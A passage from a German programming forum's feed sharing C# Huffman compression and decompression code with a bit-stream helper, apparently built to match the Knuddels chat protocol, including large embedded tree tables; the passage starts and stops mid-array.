(char)33, (char)48, (char)56, (char)32, (char)66, (char)101, (char)11, (char)118, (char)34, (char)109, (char)108, (char)35, (char)99, (char)100, (char)35, (char)55, (char)51, (char)33, (char)66, (char)117, (char)32, (char)116, (char)114, (char)32, (char)119, (char)105, (char)31, (char)109, (char)109, (char)33, (char)115, (char)102, (char)54, (char)68, (char)105, (char)101, (char)32, (char)110, (char)116, (char)32, (char)108, (char)121, (char)33, (char)101, (char)109, (char)54, (char)116, (char)109, (char)117, (char)34, (char)111, (char)100, (char)34, (char)115, (char)100, (char)54, (char)75, (char)105, (char)115, (char)34, (char)68, (char)68, (char)16, (char)151, (char)17, (char)168, (char)17, (char)206, (char)15, (char)951, (char)35, (char)54, (char)56, (char)12, (char)81, (char)31, (char)103, (char)101, (char)35, (char)56, (char)52, (char)35, (char)70, (char)67, (char)34, (char)103, (char)115, (char)33, (char)82, (char)97, (char)33, (char)115, (char)117, (char)34, (char)105, (char)118, (char)35, (char)104, (char)104, (char)35, (char)80, (char)114, (char)7, (char)60, (char)31, (char)104, (char)97, (char)31, (char)111, (char)110, (char)10, (char)84, (char)52, (char)99, (char)104, (char)101, (char)8, (char)104, (char)7, (char)34, (char)255, (char)13, (char)12, (char)99, (char)108, (char)111, (char)117, (char)100, (char)115, (char)98, (char)108, (char)117, (char)101, (char)46, (char)103, (char)105, (char)102, (char)34, (char)67, (char)105, (char)13, (char)3, (char)55, (char)108, (char)105, (char)103, (char)14, (char)23, (char)16, (char)142, (char)16, (char)150, (char)18, (char)241, (char)18, (char)253, (char)18, (char)174, (char)18, (char)1091, (char)19, (char)942, (char)19, (char)304, (char)19, (char)322, (char)19, (char)324, (char)17, (char)961, (char)33, (char)98, (char)98, (char)53, (char)98, (char)101, (char)114, (char)32, (char)76, (char)105, (char)33, (char)68, (char)105, (char)13, (char)175, (char)34, (char)108, (char)103, (char)33, (char)65, (char)108, (char)54, (char)79, (char)117, (char)116, (char)32, (char)50, (char)52, (char)32, (char)117, (char)110, (char)32, (char)51, (char)57, (char)55, (char)117, (char)114, (char)116, (char)35, (char)73, (char)115, (char)35, (char)82, (char)102, (char)33, (char)55, (char)49, (char)33, (char)104, (char)108, (char)33, (char)66, (char)108, (char)32, (char)66, (char)97, (char)53, (char)101, (char)97, (char)114, (char)54, (char)101, (char)99, (char)104, (char)34, (char)85, (char)115, (char)34, (char)52, (char)55, (char)54, (char)105, (char)112, (char)105, (char)12, (char)59, (char)32, (char)122, (char)101, (char)7, (char)46, (char)9, (char)55, (char)31, (char)97, (char)116, (char)34, (char)119, (char)228, (char)35, (char)72, (char)117, (char)15, (char)8706, (char)16, (char)186, (char)17, (char)240, (char)17, (char)65273, (char)33, (char)223, (char)101, (char)33, (char)117, (char)116, (char)33, (char)102, (char)117, (char)73, (char)62, (char)45, (char)45, (char)60, (char)31, (char)97, (char)110, (char)32, (char)76, (char)101, (char)32, (char)115, (char)97, (char)13, (char)4, (char)34, (char)103, (char)116, (char)33, (char)106, (char)101, (char)53, (char)112, (char)119, (char)100, (char)32, (char)82, (char)101, (char)32, (char)104, (char)101, (char)32, (char)104, (char)111, (char)34, (char)111, (char)109, (char)34, (char)111, (char)107, (char)33, (char)53, (char)53, (char)52, (char)119, (char)97, (char)114, (char)53, (char)104, (char)101, (char)110, (char)34, (char)112, (char)101, (char)35, (char)101, (char)107, (char)35, (char)76, (char)76, (char)33, (char)98, (char)117, (char)31, (char)114, (char)101, (char)34, (char)119, (char)252, (char)34, (char)54, (char)54, (char)33, (char)83, (char)101, (char)11, (char)90, (char)33, (char)252, (char)99, (char)34, (char)67, (char)114, (char)34, (char)103, (char)117, (char)32, (char)122, (char)117, (char)12, (char)74, (char)34, (char)109, (char)228, (char)34, (char)52, (char)50, (char)33, (char)98, (char)111, (char)33, (char)67, (char)97, (char)31, (char)101, (char)115, (char)54, (char)84, (char)97, (char)103, (char)35, (char)82, (char)82, (char)35, (char)114, (char)121, (char)13, (char)5, (char)32, (char)50, (char)54, (char)34, (char)114, (char)114, (char)34, (char)111, (char)102, (char)54, (char)68, (char)111, (char)114, (char)53, (char)114, (char)101, (char)115, (char)53, (char)99, (char)103, (char)105, (char)33, (char)100, (char)100, (char)255, (char)57, (char)12, (char)124, (char)104, (char)116, (char)116, (char)112, (char)58, (char)47, (char)47, (char)119, (char)119, (char)119, (char)51, (char)46, (char)107, (char)110, (char)117, (char)100, (char)100, (char)101, (char)108, (char)115, (char)46, (char)100, (char)101, (char)58, (char)56, (char)48, (char)56, (char)48, (char)47, (char)116, (char)120, (char)116, (char)108, (char)47, (char)99, (char)108, (char)105, (char)99, (char)107, (char)63, (char)100, (char)61, (char)107, (char)110, (char)117, (char)100, (char)100, (char)101, (char)108, (char)115, (char)46, (char)100, (char)101, (char)38, (char)105, (char)100, (char)61, (char)33, (char)83, (char)109, (char)34, (char)52, (char)51, (char)34, (char)97, (char)102, (char)53, (char)105, (char)110, (char)101, (char)33, (char)67, (char)111, (char)18, (char)170, (char)18, (char)179, (char)17, (char)931, (char)16, (char)137, (char)15, (char)187, (char)35, (char)67, (char)69, (char)34, (char)108, (char)107, (char)32, (char)97, (char)109, (char)32, (char)112, (char)112, (char)33, (char)115, (char)119, (char)35, (char)54, (char)51, (char)35, (char)109, (char)121, (char)35, (char)112, (char)102, (char)17, (char)156, (char)17, (char)230, (char)16, (char)140, (char)15, (char)28, (char)54, (char)102, (char)104, (char)101, (char)13, (char)8, (char)34, (char)86, (char)105, (char)53, (char)116, (char)101, (char)114, (char)10, (char)255, (char)31, (char)49, (char)49, (char)33, (char)102, (char)97, (char)35, (char)115, (char)114, (char)35, (char)77, (char)102, (char)13, (char)16, (char)96, (char)176, (char)62, (char)115, (char)109, (char)95, (char)54, (char)65, (char)110, (char)122, (char)10, (char)65, (char)32, (char)97, (char)115, (char)35, (char)78, (char)82, (char)35, (char)108, (char)114, (char)35, (char)78, (char)84, (char)35, (char)54, (char)49, (char)33, (char)110, (char)122, (char)33, (char)97, (char)98, (char)33, (char)103, (char)105, (char)54, (char)100, (char)112, (char)103, (char)33, (char)103, (char)114, (char)9, (char)40, (char)255, (char)12, (char)10, (char)112, (char)105, (char)99, (char)115, (char)47, (char)109, (char)97, (char)108, (char)101, (char)46, (char)103, (char)105, (char)102, (char)32, (char)112, (char)103, (char)35, (char)67, (char)117, (char)19, (char)948, (char)19, (char)962, (char)19, (char)1754, (char)19, (char)8596, (char)18, (char)1110, (char)18, (char)9658, (char)17, (char)1750, (char)19, (char)273, (char)19, (char)295, (char)19, (char)423, (char)19, (char)1753, (char)18, (char)957, (char)18, (char)1089, (char)17, (char)207, (char)17, (char)237, (char)18, (char)9679, (char)18, (char)8221, (char)34, (char)79, (char)115, (char)33, (char)111, (char)119, (char)31, (char)99, (char)107, (char)11, (char)229, (char)32, (char)72, (char)97, (char)35, (char)103, (char)100, (char)35, (char)73, (char)116, (char)34, (char)107, (char)116, (char)54, (char)108, (char)101, (char)110, (char)33, (char)69, (char)105, (char)13, (char)7, (char)34, (char)102, (char)114, (char)10, (char)67, (char)9, (char)41, (char)54, (char)109, (char)105, (char)110, (char)54, (char)83, (char)105, (char)101, (char)12, (char)123, (char)34, (char)54, (char)53, (char)34, (char)77, (char)252, (char)11, (char)246, (char)35, (char)78, (char)252, (char)35, (char)68, (char)111, (char)34, (char)105, (char)111, (char)33, (char)80, (char)102, (char)54, (char)100, (char)97, (char)115, (char)12, (char)86, (char)95, (char)70, (char)108, (char)105, (char)114, (char)116, (char)11, (char)252, (char)34, (char)114, (char)122, (char)35, (char)71, (char)117, (char)35, (char)102, (char)109, (char)54, (char)72, (char)97, (char)109, (char)8, (char)116, (char)29, (char)101, (char)110, (char)29, (char)101, (char)114, (char)4, (char)0, (char)52, (char)100, (char)101, (char)114, (char)33, (char)67, (char)99, (char)54, (char)65, (char)108, (char)116, (char)53, (char)77, (char)105, (char)120, (char)35, (char)65, (char)115, (char)35, (char)116, (char)112, (char)55, (char)110, (char)101, (char)110, (char)33, (char)108, (char)100, (char)32, (char)48, (char)53, (char)31, (char)105, (char)115, (char)11, (char)195, (char)34, (char)76, (char)252, (char)15, (char)1752, (char)15, (char)1761, (char)15, (char)1762, (char)15, (char)162, (char)54, (char)71, (char)101, (char)115, (char)54, (char)97, (char)117, (char)102, (char)54, (char)97, (char)110, (char)100, (char)54, (char)98, (char)108, (char)103, (char)33, (char)112, (char)114, (char)52, (char)117, (char)110, (char)100, (char)31, (char)97, (char)108, (char)34, (char)73, (char)110, (char)34, (char)87, (char)252, (char)54, (char)104, (char)105, (char)101, (char)54, (char)103, (char)101, (char)115, (char)34, (char)246, (char)223, (char)34, (char)112, (char)115, (char)31, (char)98, (char)101, (char)32, (char)50, (char)53, (char)54, (char)49, (char)52, (char)48, (char)35, (char)104, (char)115, (char)16, (char)969, (char)16, (char)239, (char)16, (char)147, (char)16, (char)963, (char)34, (char)52, (char)54, (char)10, (char)128, (char)31, (char)49, (char)52, (char)32, (char)51, (char)53, (char)33, (char)69, (char)109, (char)54, (char)103, (char)101, (char)114, (char)31, (char)99, (char)103, (char)10, (char)107, (char)6, (char)45, (char)34, (char)119, (char)104, (char)35, (char)114, (char)112, (char)17, (char)148, (char)18, (char)923, (char)18, (char)155, (char)16, (char)9553, (char)16, (char)129, (char)17, (char)208, (char)19, (char)287, (char)19, (char)399, (char)19, (char)9632, (char)19, (char)9668, (char)33, (char)80, (char)97, (char)11, (char)85, (char)32, (char)98, (char)108, (char)33, (char)99, (char)97, (char)54, (char)118, (char)97, (char)116, (char)33, (char)51, (char)55, (char)34, (char)101, (char)117, (char)34, (char)109, (char)115, (char)33, (char)77, (char)105, (char)33, (char)99, (char)115, (char)53, (char)100, (char)105, (char)101, (char)33, (char)97, (char)121, (char)33, (char)102, (char)105, (char)10, (char)192, (char)32, (char)117, (char)109, (char)53, (char)115, (char)101, (char)110, (char)9, (char)61, (char)33, (char)66, (char)114, (char)34, (char)117, (char)108, (char)34, (char)102, (char)121, (char)53, (char)118, (char)111, (char)114, (char)33, (char)87, (char)108, (char)54, (char)116, (char)115, (char)99, (char)32, (char)114, (char)100, (char)31, (char)110, (char)101, (char)34, (char)75, (char)117, (char)15, (char)949, (char)15, (char)1090, (char)35, (char)82, (char)252, (char)54, (char)80, (char)97, (char)114, (char)35, (char)56, (char)53, (char)35, (char)119, (char)99, (char)34, (char)99, (char)114, (char)33, (char)114, (char)109, (char)8, (char)49, (char)6, (char)95, (char)4, (char)32 });<br />
<br />
        public KHuffman()<br />
        {<br />
            this.DecRoot = new BinaryNode();<br />
            this.CharBuffer = new char&#91;65535&#93;;<br />
            this.EncMap = new Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;();<br />
            this.CreateTree();<br />
        }<br />
<br />
        private void CreateTree()<br />
        {<br />
            int m = 1;<br />
            int n = -33;<br />
            int strLen;<br />
            for (int i = 0; i &lt; this.Tree.Length; i += strLen)<br />
            {<br />
                int temp = this.Tree&#91;i++&#93;;<br />
                int pathLen;<br />
                if (temp == 255)<br />
                {<br />
                    strLen = this.Tree&#91;i++&#93; + '\u0001';<br />
                    pathLen = this.Tree&#91;i++&#93;;<br />
                }<br />
                else<br />
                {<br />
                    strLen = temp / 21 + 1;<br />
                    pathLen = temp % 21;<br />
                }<br />
                if ((m &amp; 0x1) == 0x0)<br />
                {<br />
                    ++m;<br />
                }<br />
                else<br />
                {<br />
                    while ((m &amp; 0x1) == 0x1)<br />
                    {<br />
                        m &gt;&gt;= 1;<br />
                        --n;<br />
                    }<br />
                    ++m;<br />
                }<br />
                while (n &lt; pathLen)<br />
                {<br />
                    m &lt;&lt;= 1;<br />
                    ++n;<br />
                }<br />
                String str = this.Tree.Substring(i, strLen);<br />
                int path = this.ReverseBits(m, pathLen);<br />
                if (strLen == 3 &amp;&amp; str.Equals(&quot;\\\\\\&quot;))<br />
                {<br />
                    this._16BitChar = str;<br />
                    this._16BitCharPath = path;<br />
                    this._16BitCharPathLen = pathLen;<br />
                }<br />
                this.AddString(str, path, pathLen);<br />
                if (!this.Put(this.DecRoot, str, path, pathLen))<br />
                {<br />
                    throw new Exception(&quot;error while creating tree (invalid path)&quot;);<br />
                }<br />
            }<br />
        }<br />
<br />
        private int ReverseBits(int x, int pathLen)<br />
        {<br />
            int rv = 0;<br />
            for (int i = 0; i &lt; pathLen; ++i, x &gt;&gt;= 1)<br />
            {<br />
                rv = (rv &lt;&lt; 1 | (x &amp; 0x1));<br />
            }<br />
            return rv;<br />
        }<br />
<br />
        private bool Put(BinaryNode node, String str, int path, int pathLen)<br />
        {<br />
            if (pathLen == 0)<br />
            {<br />
                node.SetData(str);<br />
                return node.IsLeaf();<br />
            }<br />
            if (node.IsEmpty())<br />
            {<br />
                if (node.IsLeaf())<br />
                {<br />
                    return false;<br />
                }<br />
                node.SetZero(new BinaryNode());<br />
                node.SetOne(new BinaryNode());<br />
            }<br />
            return this.Put(((path &amp; 0x1) == 0x0) ? node.GetZero() : node.GetOne(), str, path &gt;&gt; 1, pathLen - 1);<br />
        }<br />
<br />
        private void AddString(String str, int path, int pathLen)<br />
        {<br />
            Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt; current = this.EncMap;<br />
            for (int i = 0; i &lt; str.Length; ++i)<br />
            {<br />
                char _char = str&#91;i&#93;;<br />
                char character = this.CharBuffer&#91;_char&#93;;<br />
                if (character == 0) // character == null<br />
                {<br />
                    this.CharBuffer&#91;_char&#93; = _char;<br />
                    character = _char;<br />
                }<br />
                Pair&lt;Path, Object&gt; child = null;<br />
<br />
                if (current.ContainsKey(character)) child = current&#91;character&#93;;<br />
<br />
                if (child == null)<br />
                {<br />
                    Dictionary&lt;char, Pair&lt; Path, Object &gt;&gt; map = new Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;();<br />
                    current.Add(character, child = new Pair&lt;Path, Object&gt;(null, map));<br />
                    current = map;<br />
                }<br />
                else<br />
                {<br />
                    current = (Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;)child.GetValue();<br />
                }<br />
                if (i == str.Length - 1)<br />
                {<br />
                    child.SetKey(new Path(path, pathLen));<br />
                }<br />
            }<br />
        }<br />
<br />
        public String Decompress(byte&#91;&#93; data)<br />
        {<br />
            BitStream bitStream = new BitStream(data);<br />
            BinaryNode tempNode = this.DecRoot;<br />
            StringBuilder output = new StringBuilder();<br />
            while (bitStream.HasNext())<br />
            {<br />
                tempNode = ((bitStream.NextBit() == 0) ? tempNode.GetZero() : tempNode.GetOne());<br />
                if (!tempNode.IsLeaf())<br />
                {<br />
                    continue;<br />
                }<br />
                if (tempNode.GetData().Equals(this._16BitChar))<br />
                {<br />
                    int _char = 0;<br />
                    for (int k = 0; k &lt; 16; ++k)<br />
                    {<br />
                        _char += bitStream.NextBit() &lt;&lt; k;<br />
                    }<br />
                    output.Append((char)_char);<br />
                }<br />
                else<br />
                {<br />
                    String str = tempNode.GetData();<br />
                    output.Append(str);<br />
                }<br />
                tempNode = this.DecRoot;<br />
            }<br />
            return output.ToString();<br />
        }<br />
<br />
        public byte&#91;&#93; Compress(String str)<br />
        {<br />
            BitStream output = new BitStream();<br />
            Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt; current = this.EncMap;<br />
            int previous = -1;<br />
            int previousLen = -1;<br />
            int previousPos = -1;<br />
            for (int i = 0; i &lt; str.Length; ++i)<br />
            {<br />
                char _char = str&#91;i&#93;;<br />
                char character = this.CharBuffer&#91;_char&#93;;<br />
                if (character == 0) // character == null<br />
                {<br />
                    this.CharBuffer&#91;_char&#93; = _char;<br />
                    character = _char;<br />
                }<br />
                Pair&lt;Path, Object&gt; temp = null;<br />
                if (current.ContainsKey(character)) temp = current&#91;character&#93;;<br />
<br />
                if (temp == null)<br />
                {<br />
                    if (previous == -1)<br />
                    {<br />
                        output.AddBits(this._16BitCharPath, this._16BitCharPathLen);<br />
                        output.AddBits(_char, 16);<br />
                        previousPos = i;<br />
                    }<br />
                    else<br />
                    {<br />
                        output.AddBits(previous, previousLen);<br />
                    }<br />
                    previous = -1;<br />
                    i = previousPos;<br />
                    current = this.EncMap;<br />
                }<br />
                else<br />
                {<br />
                    if (temp.GetKey() != null)<br />
                    {<br />
                        previous = temp.GetKey().GetPath();<br />
                        previousLen = temp.GetKey().GetPathLen();<br />
                        previousPos = i;<br />
                    }<br />
                    if (temp.GetValue() != null)<br />
                    {<br />
                        current = (Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;)temp.GetValue();<br />
                    }<br />
                }<br />
            }<br />
            if (previous &gt;= 0)<br />
            {<br />
                output.AddBits(previous, previousLen);<br />
            }<br />
            return output.ToByteArray();<br />
        }<br />
<br />
        private class BinaryNode<br />
        {<br />
            private BinaryNode zero;<br />
            private BinaryNode one;<br />
            private String data;<br />
<br />
            public bool IsLeaf()<br />
            {<br />
                return this.data != null &amp;&amp; this.IsEmpty();<br />
            }<br />
<br />
            public bool IsEmpty()<br />
            {<br />
                return this.zero == null &amp;&amp; this.one == null;<br />
            }<br />
<br />
            public void SetData(String data)<br />
            {<br />
                this.data = data;<br />
            }<br />
<br />
            public String GetData()<br />
            {<br />
                return this.data;<br />
            }<br />
<br />
            public BinaryNode GetZero()<br />
            {<br />
                return this.zero;<br />
            }<br />
<br />
            public void SetZero(BinaryNode left)<br />
            {<br />
                this.zero = left;<br />
            }<br />
<br />
            public BinaryNode GetOne()<br />
            {<br />
                return this.one;<br />
            }<br />
<br />
            public void SetOne(BinaryNode right)<br />
            {<br />
                this.one = right;<br />
            }<br />
        }<br />
<br />
        private class Pair&lt;K, V&gt;<br />
        {<br />
            private K key;<br />
            private V value;<br />
<br />
            public Pair(K key, V value)<br />
            {<br />
                this.key = key;<br />
                this.value = value;<br />
            }<br />
<br />
            public K GetKey()<br />
            {<br />
                return this.key;<br />
            }<br />
<br />
            public V GetValue()<br />
            {<br />
                return this.value;<br />
            }<br />
<br />
            public void SetKey(K key)<br />
            {<br />
                this.key = key;<br />
            }<br />
        }<br />
<br />
        private class Path<br />
        {<br />
            private int path;<br />
            private int pathLen;<br />
<br />
            public Path(int path, int pathLen)<br />
            {<br />
                this.path = path;<br />
                this.pathLen = pathLen;<br />
            }<br />
<br />
            public int GetPath()<br />
            {<br />
                return this.path;<br />
            }<br />
<br />
            public int GetPathLen()<br />
            {<br />
                return this.pathLen;<br />
            }<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />

</div>
</div>
</div><br />
<br />
<b>BitStream.cs</b>:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Collections.Generic;<br />
<br />
namespace DeinTollesProjekt<br />
{<br />
    class BitStream<br />
    {<br />
        private List&lt;Byte&gt; Stream;<br />
        private int StreamPosition;<br />
        private int BytePosition;<br />
<br />
        public BitStream()<br />
        {<br />
            this.StreamPosition = 0;<br />
            this.BytePosition = 0;<br />
            this.Stream = new List&lt;Byte&gt;();<br />
        }<br />
<br />
        public BitStream(byte&#91;&#93; data) : this()<br />
        {<br />
            foreach (byte b in data)<br />
            {<br />
                this.Stream.Add(b);<br />
            }<br />
        }<br />
<br />
        public byte&#91;&#93; ToByteArray()<br />
        {<br />
            byte&#91;&#93; temp = new byte&#91;this.Stream.Count&#93;;<br />
            for (int i = 0; i &lt; temp.Length; temp&#91;i&#93; = this.Stream&#91;i++&#93;) { }<br />
            return temp;<br />
        }<br />
<br />
        public void AddBit(int bit)<br />
        {<br />
            if (this.BytePosition == 8)<br />
            {<br />
                this.BytePosition = 0;<br />
                ++this.StreamPosition;<br />
            }<br />
            if (this.Stream.Count == this.StreamPosition)<br />
            {<br />
                this.Stream.Add((byte)0);<br />
            }<br />
            byte temp = (byte)(this.Stream&#91;this.StreamPosition&#93; | bit &lt;&lt; this.BytePosition++);<br />
            this.Stream&#91;this.StreamPosition&#93; = temp;<br />
        }<br />
<br />
        public void AddBits(int i, int len)<br />
        {<br />
            for (int j = 0; j &lt; len; ++j)<br />
            {<br />
                this.AddBit(i &gt;&gt; j &amp; 0x1);<br />
            }<br />
        }<br />
<br />
        public int NextBit()<br />
        {<br />
            int temp = this.Stream&#91;this.StreamPosition&#93; &gt;&gt; this.BytePosition &amp; 0x1;<br />
            if (++this.BytePosition == 8)<br />
            {<br />
                this.BytePosition = 0;<br />
                ++this.StreamPosition;<br />
            }<br />
            return temp;<br />
        }<br />
<br />
        public bool HasNext()<br />
        {<br />
            return this.StreamPosition != this.Stream.Count || this.BytePosition != 0;<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />

</div>
</div>
</div><br />
<br />
Aufruf:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
KHuffman huffman = new KHuffman();<br />
byte&#91;&#93; compressed = huffman.Compress(&quot;...&quot;);<br />
string decompressed = huffman.Decompress(compressed);<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-huffman-40209</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Huffman]]></title>
			<link>sourcecode-91/c-huffman-40201?goto=newpost</link>
			<pubDate>Wed, 13 May 2020 04:00:05 GMT</pubDate>
			<description>Vielleicht braucht es ja jemand 
 
 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
 
 
namespace...</description>
			<content:encoded><![CDATA[<div>Vielleicht braucht es ja jemand<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
<br />
<br />
namespace Knuddels.Network<br />
{<br />
	class Huffman<br />
    {<br />
        private Dictionary&lt;string, string&gt; _tree;<br />
        private StringBuilder _helper;<br />
<br />
<br />
        // Knuddels Tree stand 12.05.2020<br />
        public Huffman()<br />
            : this(new string(new char&#91;&#93; { (char)8, (char)121, (char)239, (char)124, (char)47, (char)115, (char)101, (char)114, (char)118, (char)101, (char)114, (char)112, (char)112, (char)32, (char)34, (char)30, (char)116, (char)116, (char)9, (char)68, (char)33, (char)101, (char)97, (char)34, (char)117, (char)100, (char)15, (char)131, (char)17, (char)1079, (char)18, (char)218, (char)18, (char)222, (char)16, (char)8364, (char)15, (char)8254, (char)15, (char)133, (char)33, (char)252, (char)114, (char)12, (char)200, (char)53, (char)83, (char)116, (char)101, (char)53, (char)101, (char)99, (char)107, (char)31, (char)48, (char)54, (char)95, (char)77, (char)97, (char)102, (char)105, (char)97, (char)34, (char)54, (char)55, (char)34, (char)78, (char)73, (char)34, (char)108, (char)98, (char)34, (char)111, (char)117, (char)6, (char)35, (char)5, (char)10, (char)4, (char)176, (char)31, (char)115, (char)105, (char)52, (char)112, (char)108, (char)97, (char)31, (char)116, (char)105, (char)52, (char)102, (char)111, (char)114, (char)8, (char)12, (char)53, (char)98, (char)111, (char)121, (char)11, (char)13, (char)53, (char)109, (char)97, (char)110, (char)33, (char)75, (char)108, (char)34, (char)57, (char)55, (char)34, (char)117, (char)98, (char)53, (char)117, (char)114, (char)103, (char)53, (char)107, (char)116, (char)101, (char)32, (char)79, (char)75, (char)32, (char)117, (char)101, (char)8, (char)98, (char)32, (char)111, (char)112, (char)33, (char)101, (char)118, (char)33, (char)79, (char)98, (char)54, (char)112, (char)101, (char)114, (char)33, (char)75, (char)111, (char)32, (char)77, (char)111, (char)93, (char)95, (char)176, (char)62, (char)95, (char)104, (char)8, (char)109, (char)31, (char)100, (char)105, (char)31, (char)114, (char)97, (char)11, (char)106, (char)15, (char)130, (char)18, (char)970, (char)18, (char)217, (char)17, (char)198, (char)16, (char)353, (char)15, (char)185, (char)16, (char)9644, (char)17, (char)201, (char)17, (char)248, (char)34, (char)53, (char)51, (char)34, (char)108, (char)104, (char)14, (char)8226, (char)14, (char)96, (char)31, (char)112, (char)121, (char)30, (char)49, (char)51, (char)30, (char)110, (char)110, (char)7, (char)227, (char)32, (char)114, (char)99, (char)200, (char)95, (char)110, (char)105, (char)99, (char)107, (char)108, (char)105, (char)115, (char)116, (char)95, (char)32, (char)101, (char)102, (char)53, (char)98, (char)114, (char)97, (char)31, (char)101, (char)101, (char)53, (char)116, (char)101, (char)110, (char)32, (char)110, (char)99, (char)52, (char)63, (char)100, (char)61, (char)32, (char)87, (char)111, (char)34, (char)55, (char)55, (char)13, (char)250, (char)33, (char)57, (char)52, (char)52, (char)105, (char)110, (char)103, (char)11, (char)14, (char)32, (char)48, (char)50, (char)31, (char)68, (char)101, (char)31, (char)97, (char)117, (char)33, (char)82, (char)117, (char)34, (char)111, (char)121, (char)34, (char)107, (char)109, (char)53, (char)101, (char)105, (char)103, (char)32, (char)69, (char)115, (char)33, (char)107, (char)115, (char)33, (char)79, (char)108, (char)8, (char)53, (char)9, (char)69, (char)31, (char)105, (char)105, (char)11, (char)22, (char)34, (char)109, (char)102, (char)34, (char)70, (char)111, (char)34, (char)115, (char)107, (char)16, (char)178, (char)17, (char)9565, (char)17, (char)158, (char)18, (char)64380, (char)18, (char)65185, (char)18, (char)65190, (char)18, (char)8217, (char)17, (char)281, (char)18, (char)64398, (char)18, (char)65270, (char)14, (char)21, (char)32, (char)69, (char)114, (char)54, (char)117, (char)115, (char)101, (char)33, (char)79, (char)110, (char)32, (char)111, (char)108, (char)33, (char)56, (char)57, (char)34, (char)107, (char)246, (char)34, (char)90, (char)101, (char)52, (char)97, (char)114, (char)116, (char)31, (char)114, (char)105, (char)8, (char)119, (char)32, (char)99, (char)111, (char)14, (char)25, (char)14, (char)196, (char)34, (char)67, (char)116, (char)33, (char)118, (char)97, (char)31, (char)98, (char)105, (char)52, (char)108, (char)105, (char)110, (char)32, (char)104, (char)114, (char)32, (char)105, (char)100, (char)32, (char)100, (char)111, (char)32, (char)110, (char)107, (char)32, (char)120, (char)120, (char)34, (char)119, (char)98, (char)14, (char)24, (char)16, (char)1082, (char)16, (char)205, (char)15, (char)139, (char)34, (char)112, (char)104, (char)34, (char)102, (char)119, (char)53, (char)110, (char)111, (char)99, (char)32, (char)119, (char)101, (char)52, (char)121, (char)101, (char)114, (char)31, (char)102, (char)101, (char)32, (char)107, (char)111, (char)32, (char)104, (char)116, (char)31, (char)109, (char)105, (char)53, (char)49, (char)48, (char)48, (char)32, (char)51, (char)49, (char)7, (char)51, (char)7, (char)108, (char)10, (char)87, (char)31, (char)102, (char)99, (char)34, (char)107, (char)252, (char)15, (char)1074, (char)16, (char)249, (char)18, (char)1171, (char)18, (char)8482, (char)17, (char)1072, (char)14, (char)180, (char)33, (char)105, (char)122, (char)32, (char)48, (char)57, (char)31, (char)66, (char)78, (char)30, (char)105, (char)109, (char)9, (char)1, (char)50, (char)0, (char)112, (char)0, (char)33, (char)75, (char)114, (char)34, (char)79, (char)111, (char)34, (char)101, (char)103, (char)53, (char)80, (char)117, (char)110, (char)32, (char)121, (char)108, (char)32, (char)101, (char)104, (char)32, (char)82, (char)111, (char)32, (char)83, (char)117, (char)33, (char)120, (char)101, (char)54, (char)104, (char)101, (char)108, (char)53, (char)104, (char)108, (char)116, (char)31, (char)101, (char)116, (char)31, (char)115, (char)109, (char)10, (char)77, (char)32, (char)112, (char)97, (char)32, (char)51, (char)56, (char)9, (char)122, (char)33, (char)70, (char)108, (char)33, (char)52, (char)56, (char)32, (char)117, (char)102, (char)53, (char)75, (char)110, (char)117, (char)32, (char)78, (char)105, (char)32, (char)104, (char)105, (char)34, (char)108, (char)122, (char)13, (char)220, (char)54, (char)104, (char)101, (char)114, (char)32, (char)83, (char)111, (char)34, (char)83, (char)252, (char)34, (char)117, (char)104, (char)15, (char)8594, (char)15, (char)9617, (char)14, (char)1085, (char)34, (char)114, (char)252, (char)30, (char)70, (char)104, (char)52, (char)77, (char)105, (char)110, (char)31, (char)98, (char)97, (char)31, (char)112, (char)108, (char)94, (char)48, (char)44, (char)48, (char)44, (char)48, (char)30, (char)49, (char)55, (char)30, (char)32, (char)32, (char)53, (char)98, (char)105, (char)110, (char)33, (char)71, (char)108, (char)33, (char)78, (char)117, (char)115, (char)77, (char)97, (char)102, (char)105, (char)97, (char)50, (char)31, (char)100, (char)97, (char)33, (char)82, 